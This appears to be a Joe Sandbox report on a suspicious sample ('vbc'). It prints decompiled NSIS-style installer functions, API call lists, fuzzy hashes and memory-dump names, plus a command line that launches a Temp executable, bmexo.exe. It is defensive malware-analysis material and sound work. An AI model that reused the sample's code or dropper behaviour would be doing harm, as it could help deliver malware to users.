Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: a9904075eeec40e7e939a2dde13f9046a7e38eb284923ea40542f090f2fca858
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: 66E08632500219ABDF106E519C04AEB375CFB01350F01487AFD22E2151E231E87187A8

Uniqueness

Uniqueness Score: -1.00%

Function 004035FE Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035FE(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040360c
0x00403612

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032FC,?), ref: 0040360C

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4() {
				void* _t9;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402DA6(_t15);
				E004056D0(0xffffffeb, _t7);
				_t9 = E00405C51(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E00406AE6(_t17, _t20); // executed
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E004065B5( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Part of subcall function 00405C51: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F90,00000000), ref: 00405C7A
Part of subcall function 00405C51: CloseHandle.KERNEL32(?), ref: 00405C87

CloseHandle.KERNEL32(?), ref: 00401FEB

Part of subcall function 00406AE6: WaitForSingleObject.KERNEL32(?,00000064,00000000,00000000,?,?,00401F9F,?,?,?,?,?,?), ref: 00406AF7
Part of subcall function 00406AE6: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B19

Part of subcall function 004065B5: wsprintfW.USER32 ref: 004065C2

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: efa72648fad6ec3f2344eb43542f960c9bac8b1359726ced394ac23af3d9461d
Instruction ID: 2caf0deb9ca9c7db124b05ee4a2ba4d84aa6555efd1b03c2e112275a9e200b7a
Opcode Fuzzy Hash: efa72648fad6ec3f2344eb43542f960c9bac8b1359726ced394ac23af3d9461d
Instruction Fuzzy Hash: FCF09671904111E7DB11BBA59A88E9E76A4DF01318F25443BE102B21D0D77C4D419A6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040580F Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040580F(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x7a7a84;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E004057A3, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004066AB(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x7a1f88;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x7a7a6c == _t156) {
							ShowWindow( *0x7a8aa8, 8);
							if( *0x7a8b2c == _t156) {
								E004056D0( *((intOrPtr*)( *0x7a0f60 + 0x34)), _t156);
							}
							E004045A3(_t171);
							goto L25;
						}
						 *0x7a0758 = 2;
						E004045A3(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00404631(_a8, _a12, _a16);
						}
						ShowWindow( *0x7a7a70, _t156);
						ShowWindow(_t169, 8);
						E004045FF(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x7a8ab0;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x7a7a70 = GetDlgItem(_a4, 0x403);
				 *0x7a7a68 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x7a7a84 = _t134;
				_v8 = _t134;
				E004045FF( *0x7a7a70);
				 *0x7a7a74 = E00404F58(4);
				 *0x7a7a8c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004045CA(_a4);
				if(( *0x7a8ab8 & 0x00000003) != 0) {
					ShowWindow( *0x7a7a70, _t156);
					if(( *0x7a8ab8 & 0x00000002) != 0) {
						 *0x7a7a70 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004045FF( *0x7a7a68);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x7a8ab8 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405817
0x0040581d
0x00405827
0x0040582a
0x004059c0
0x004059e4
0x004059e4
0x004059f7
0x00405a15
0x00405a17
0x00405a1f
0x00405a75
0x00405a79
0x00000000
0x00000000
0x00405a7b
0x00405a81
0x00000000
0x00000000
0x00405a8b
0x00405a93
0x00405a96
0x00405b98
0x00000000
0x00405b98
0x00405aa5
0x00405ab0
0x00405ab9
0x00405ac4
0x00405ac7
0x00405ad0
0x00405ad6
0x00405ad9
0x00405ad9
0x00405af1
0x00405afa
0x00405afd
0x00405b04
0x00405b0b
0x00405b13
0x00405b13
0x00405b2a
0x00405b2a
0x00405b31
0x00405b37
0x00405b43
0x00405b4a
0x00405b53
0x00405b55
0x00405b58
0x00405b67
0x00405b6a
0x00405b70
0x00405b71
0x00405b77
0x00405b78
0x00405b79
0x00405b81
0x00405b8c
0x00405b92
0x00405b92
0x00000000
0x00405af1
0x00405a27
0x00405a57
0x00405a5f
0x00405a6a
0x00405a6a
0x00405a70
0x00000000
0x00405a70
0x00405a2b
0x00405a35
0x00000000
0x004059f9
0x004059ff
0x00405a3a
0x00000000
0x00405a43
0x00405a08
0x00405a0d
0x00405a10
0x00000000
0x00405a10
0x004059f7
0x00405830
0x00405834
0x0040583c
0x00405840
0x00405843
0x00405846
0x00405849
0x0040584c
0x0040584d
0x0040584e
0x00405867
0x0040586a
0x00405874
0x00405883
0x0040588b
0x00405893
0x00405898
0x0040589b
0x004058a7
0x004058b0
0x004058b9
0x004058db
0x004058e1
0x004058f2
0x004058f7
0x00405905
0x00405913
0x00405913
0x00405918
0x00405926
0x00405926
0x0040592b
0x0040592e
0x00405933
0x0040593f
0x00405948
0x00405955
0x00405964
0x00405957
0x0040595c
0x0040595c
0x00405970
0x00405970
0x00405984
0x0040598d
0x00405996
0x004059a6
0x004059b2
0x004059b2
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 0040586D
GetDlgItem.USER32(?,000003EE), ref: 0040587C
GetClientRect.USER32 ref: 004058B9
GetSystemMetrics.USER32 ref: 004058C0
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058E1
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058F2
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405905
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405913
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405926
ShowWindow.USER32(00000000,?), ref: 00405948
ShowWindow.USER32(?,00000008), ref: 0040595C
GetDlgItem.USER32(?,000003EC), ref: 0040597D
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040598D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A6
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059B2
GetDlgItem.USER32(?,000003F8), ref: 0040588B

Part of subcall function 004045FF: SendMessageW.USER32(00000028,?,00000001,0040442A), ref: 0040460D

GetDlgItem.USER32(?,000003EC), ref: 004059CF
CreateThread.KERNEL32(00000000,00000000,Function_000057A3,00000000), ref: 004059DD
CloseHandle.KERNEL32(00000000), ref: 004059E4
ShowWindow.USER32(00000000), ref: 00405A08
ShowWindow.USER32(?,00000008), ref: 00405A0D
ShowWindow.USER32(00000008), ref: 00405A57
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A8B
CreatePopupMenu.USER32 ref: 00405A9C
AppendMenuW.USER32 ref: 00405AB0
GetWindowRect.USER32(?,?), ref: 00405AD0
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE9
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B21
OpenClipboard.USER32(00000000), ref: 00405B31
EmptyClipboard.USER32 ref: 00405B37
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B43
GlobalLock.KERNEL32 ref: 00405B4D
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B61
GlobalUnlock.KERNEL32(00000000), ref: 00405B81
SetClipboardData.USER32 ref: 00405B8C
CloseClipboard.USER32 ref: 00405B92

Strings

{, xrefs: 00405A75

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: a77729b42b97d1460badf31275b058d201800e7c8612f90bf0790785bfc588e5
Instruction ID: f3bb878df23a29f955279a02cf148875578f9ab87112c8cbe183df0a3e5e7c84
Opcode Fuzzy Hash: a77729b42b97d1460badf31275b058d201800e7c8612f90bf0790785bfc588e5
Instruction Fuzzy Hash: 7DB16BB1900608FFDF119F64DD89AAE7B79FB45354F00802AFA41BA1A0CB785E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404ABB Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404ABB(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x7a0f60;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x7a9000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405CB2(0x3fb, _t146);
					E004068F5(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405CB2(0x3fb, _t146);
							if(E00406045(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040666E(0x79ff58, _t146);
							_t87 = E00406A3B(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040666E(0x79ff58, _t146);
								_t89 = E00405FE8(0x79ff58);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x79ff58,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x79ff58) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x79ff58,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405F89(0x79ff58);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x79ff58) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404F58(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x7a7a7c + 0x10)) != _t158) {
									E00404F40(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x79ff48);
									} else {
										E00404E77(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x7a8b44 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004045EC(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x7a1f78 == _t158) {
									E00404A14();
								}
								 *0x7a1f78 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x7a1f88;
							_v60 = E00404E11;
							_v56 = _t146;
							_v68 = E004066AB(_t146, 0x7a1f88, _t167, 0x7a0760, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405F3D(_t146);
								_t125 =  *((intOrPtr*)( *0x7a8ab0 + 0x11c));
								if( *((intOrPtr*)( *0x7a8ab0 + 0x11c)) != 0 && _t146 == 0x7b3800) {
									E004066AB(_t146, 0x7a1f88, _t167, 0, _t125);
									if(lstrcmpiW(0x7a6a40, 0x7a1f88) != 0) {
										lstrcatW(_t146, 0x7a6a40);
									}
								}
								 *0x7a1f78 =  *0x7a1f78 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405FB4(_t146) != 0 && E00405FE8(_t146) == 0) {
						E00405F3D(_t146);
					}
					 *0x7a7a78 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004045CA(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004045CA(_t167);
					E004045FF(_t166);
					_t138 = E00406A3B(8);
					if(_t138 == 0) {
						L53:
						return E00404631(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404abb
0x00404ac1
0x00404ac7
0x00404ad4
0x00404ae2
0x00404ae5
0x00404aed
0x00404af3
0x00404af3
0x00404aff
0x00404b02
0x00404b70
0x00404b77
0x00404c4e
0x00404c55
0x00404c64
0x00404c64
0x00404c68
0x00404c72
0x00404c7f
0x00404c81
0x00404c81
0x00404c8f
0x00404c96
0x00404c9d
0x00404ca0
0x00404cdc
0x00404cde
0x00404ce4
0x00404ce9
0x00404ced
0x00404cef
0x00404cef
0x00404d0b
0x00000000
0x00404d0d
0x00404d10
0x00404d1e
0x00404d24
0x00404d25
0x00404d28
0x00404d2b
0x00000000
0x00404d2b
0x00404ca2
0x00404ca4
0x00404ca8
0x00000000
0x00000000
0x00000000
0x00000000
0x00404caa
0x00404caa
0x00404cb7
0x00404cbc
0x00000000
0x00000000
0x00404cc0
0x00404cc2
0x00404cc2
0x00404ccb
0x00404ccd
0x00404cd2
0x00404cd5
0x00404cda
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cda
0x00404d37
0x00404d41
0x00404d44
0x00404d47
0x00404d4e
0x00404d4e
0x00404d50
0x00404d50
0x00404d55
0x00404d57
0x00404d5f
0x00404d66
0x00404d68
0x00404d73
0x00404d73
0x00404d68
0x00404d83
0x00404d8d
0x00404d95
0x00404db0
0x00404d97
0x00404da0
0x00404da0
0x00404d95
0x00404db5
0x00404dba
0x00404dbf
0x00404dc8
0x00404dc8
0x00404dd1
0x00404dd3
0x00404dd3
0x00404ddf
0x00404de7
0x00404df1
0x00404df1
0x00404df6
0x00000000
0x00404df6
0x00404ca0
0x00404c57
0x00404c5e
0x00000000
0x00000000
0x00000000
0x00404c5e
0x00404b7d
0x00404b86
0x00404ba0
0x00404ba5
0x00404baf
0x00404bb6
0x00404bc2
0x00404bc5
0x00404bc8
0x00404bcf
0x00404bd7
0x00404bda
0x00404bde
0x00404be5
0x00404bed
0x00404c47
0x00404bef
0x00404bf0
0x00404bf7
0x00404c01
0x00404c09
0x00404c16
0x00404c2a
0x00404c2e
0x00404c2e
0x00404c2a
0x00404c33
0x00404c40
0x00404c40
0x00404bed
0x00000000
0x00404ba5
0x00404b93
0x00000000
0x00000000
0x00404b99
0x00000000
0x00404b04
0x00404b11
0x00404b1a
0x00404b27
0x00404b27
0x00404b2e
0x00404b34
0x00404b3d
0x00404b40
0x00404b43
0x00404b4b
0x00404b4e
0x00404b51
0x00404b57
0x00404b5e
0x00404b65
0x00404dfc
0x00404e0e
0x00404b6b
0x00404b6e
0x00000000
0x00404b6e
0x00404b65

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B0A
SetWindowTextW.USER32 ref: 00404B34
SHBrowseForFolderW.SHELL32(?), ref: 00404BE5
CoTaskMemFree.OLE32(00000000), ref: 00404BF0
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,007A1F88,00000000,?,?), ref: 00404C22
lstrcatW.KERNEL32 ref: 00404C2E
SetDlgItemTextW.USER32 ref: 00404C40

Part of subcall function 00405CB2: GetDlgItemTextW.USER32 ref: 00405CC5

Part of subcall function 004068F5: CharNextW.USER32(?), ref: 00406958
Part of subcall function 004068F5: CharNextW.USER32(?), ref: 00406967
Part of subcall function 004068F5: CharNextW.USER32(?), ref: 0040696C
Part of subcall function 004068F5: CharPrevW.USER32(?,?), ref: 0040697F

GetDiskFreeSpaceW.KERNEL32(0079FF58,?,?,0000040F,?,0079FF58,0079FF58,?,00000001,0079FF58,?,?,000003FB,?), ref: 00404D03
MulDiv.KERNEL32 ref: 00404D1E

Part of subcall function 00404E77: lstrlenW.KERNEL32(007A1F88,007A1F88,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F18
Part of subcall function 00404E77: wsprintfW.USER32 ref: 00404F21
Part of subcall function 00404E77: SetDlgItemTextW.USER32 ref: 00404F34

Strings

A, xrefs: 00404BDE
C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya, xrefs: 00404C1C, 00404C21, 00404C2C

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
